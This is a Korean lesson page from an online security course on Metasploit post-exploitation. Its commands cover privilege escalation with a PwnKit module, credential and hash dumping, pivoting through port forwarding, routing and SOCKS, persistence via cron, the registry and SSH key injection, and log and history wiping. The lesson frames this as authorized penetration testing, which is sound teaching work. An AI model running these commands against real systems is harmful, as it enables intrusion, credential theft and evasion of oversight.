Cyber Security Academy · 강의

사후 익스플로잇: 피벗과 지속성

Metasploit의 사후 모듈을 사용해 권한 상승, 자격 증명 덤프, 지속성을 수행합니다.

사후 익스플로잇: 피벗과 지속성은(는) CoddyKit의 무료 Cyber Security Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Cyber Security Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Cyber Security Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

익스플로잇 후 목표

초기 접근 후 공격자의 목표는 권한 상승, 정보 수집, 지속적인 접근 유지, 그리고 실제 목표(데이터, 시스템, 도메인 제어)에 도달하기 위한 측면 이동입니다.

상황 인식

셸을 획득한 후 첫 단계는 현재 위치를 파악하는 것입니다. 시스템 정보, 네트워크 구성, 현재 사용자의 권한, 실행 중인 프로세스 및 환경 변수를 수집합니다.

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/linux/gather/enum_system

권한 상승

로컬 권한 상승은 권한이 낮은 셸에서 root 또는 SYSTEM으로 이동하는 것입니다. Metasploit의 local_exploit_suggester는 대상 OS 버전에 따라 적용 가능한 커널 및 로컬 익스플로잇을 식별합니다.

meterpreter > run post/multi/recon/local_exploit_suggester

# Identifies applicable exploits
# Then:
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 > set SESSION 1
msf6 > run

자격 증명 수집

해시된 비밀번호, 구성 파일의 평문 자격 증명, 브라우저에 저장된 비밀번호 및 SSH 키와 같은 자격 증명을 수집합니다. 이러한 정보는 측면 이동과 지속성 확보를 가능하게 합니다.

meterpreter > run post/linux/gather/hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/ssh_creds

# Check env vars for cleartext creds:
meterpreter > run post/multi/gather/env

피벗: 포트 전달

피벗은 침해된 호스트를 중계 지점으로 사용하여 격리된 내부 네트워크에 접근하는 방식입니다. Metasploit의 portfwd는 Meterpreter 세션을 통해 로컬 포트 전달을 생성합니다.

# Forward local port 3306 to internal DB
meterpreter > portfwd add -l 3306 -p 3306 -r 10.10.10.20

# Now connect locally:
mysql -h 127.0.0.1 -P 3306 -u root

세션을 통한 라우팅

Metasploit의 라우팅 모듈은 세션을 통한 네트워크 경로를 추가하여 다른 모듈이 피벗 호스트를 통해서만 접근할 수 있는 네트워크에 도달하도록 합니다.

msf6 > route add 10.10.10.0/24 1   # route via session 1
msf6 > route print

# Now run modules targeting 10.10.10.x
# through session 1 as pivot

SOCKS 프록시 피벗

Metasploit 또는 chisel/ssh -D를 통한 SOCKS 프록시를 사용하면 proxychains를 통해 임의의 도구를 피벗 경로로 라우팅할 수 있습니다. 따라서 nmap, curl 및 브라우저가 내부 네트워크에 접근할 수 있습니다.

# Set up SOCKS proxy through session
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j

# Route tools through proxy
proxychains nmap -sT 10.10.10.0/24

지속성 확보 메커니즘

지속성 확보는 재부팅이나 세션 손실 후에도 접근을 유지합니다. 일반적인 방법으로는 cron 작업(Linux), 레지스트리 실행 키(Windows), SSH 인증 키 주입 및 서비스 설치가 있습니다.

# Linux: cron-based persistence
meterpreter > run post/linux/manage/cron_persistence

# Windows: registry
meterpreter > run post/windows/manage/persistence_exe

# SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

흔적 은폐

공격자는 은밀성을 유지하기 위해 로그를 삭제합니다. 보안 참고 사항: 최신 SIEM 및 EDR 솔루션은 실시간으로 로그를 호스트 외부로 전송하므로 로컬 로그를 삭제해도 중앙 집중식 기록은 지워지지 않습니다.

meterpreter > clearev          # clear Windows event logs

# Linux: clear bash history
unset HISTFILE
cat /dev/null > ~/.bash_history

익스플로잇 후 모듈

Metasploit에는 Windows와 Linux를 위한 수백 개의 익스플로잇 후 모듈이 포함되어 있습니다. 자격 증명 수집, 브라우저 데이터 수집, 키 입력 기록, 스크린샷 캡처 및 네트워크 열거 등을 수행할 수 있습니다.

msf6 > use post/windows/gather/enum_logged_on_users
msf6 > use post/multi/gather/browser_history
msf6 > use post/windows/gather/screen_spy
msf6 > set SESSION 1
msf6 > run

중단할 시점 파악

승인된 침투 테스트에서는 합의된 범위의 목표에 도달하거나 접근 권한이 없는 데이터를 발견했을 때 중단합니다. 경로를 주의 깊게 문서화하십시오. 이것이 보고서에 기록할 공격 사슬입니다.

빠른 확인

Metasploit의 "route add" 명령은 무엇을 가능하게 합니까?

요약: 익스플로잇 후 작업

익스플로잇 후 작업은 초기 접근을 기반으로 실제 영향을 달성합니다. 권한 상승, 자격 증명 수집, 측면 이동 및 지속성 확보가 이에 해당합니다. Metasploit은 각 단계에 사용할 수 있는 익스플로잇 후 모듈을 제공합니다. 모든 단계를 문서화하십시오. 진입 지점부터 목표까지의 공격 사슬이 침투 테스트의 핵심 산출물입니다.

자주 묻는 질문

“사후 익스플로잇: 피벗과 지속성” 강의는 무료인가요?

네 — “사후 익스플로잇: 피벗과 지속성” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Cyber Security Academy 강의 전체를 잠금 해제할 수 있습니다. Cyber Security Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“사후 익스플로잇: 피벗과 지속성”에서 뭘 배우나요?

Metasploit의 사후 모듈을 사용해 권한 상승, 자격 증명 덤프, 지속성을 수행합니다. 브라우저에서 직접 실행하는 실습 코드로 Cyber Security Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Cyber Security Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Cyber Security Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.

“사후 익스플로잇: 피벗과 지속성” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Cyber Security Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Cyber Security Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

← Cyber Security Academy(으)로 돌아가기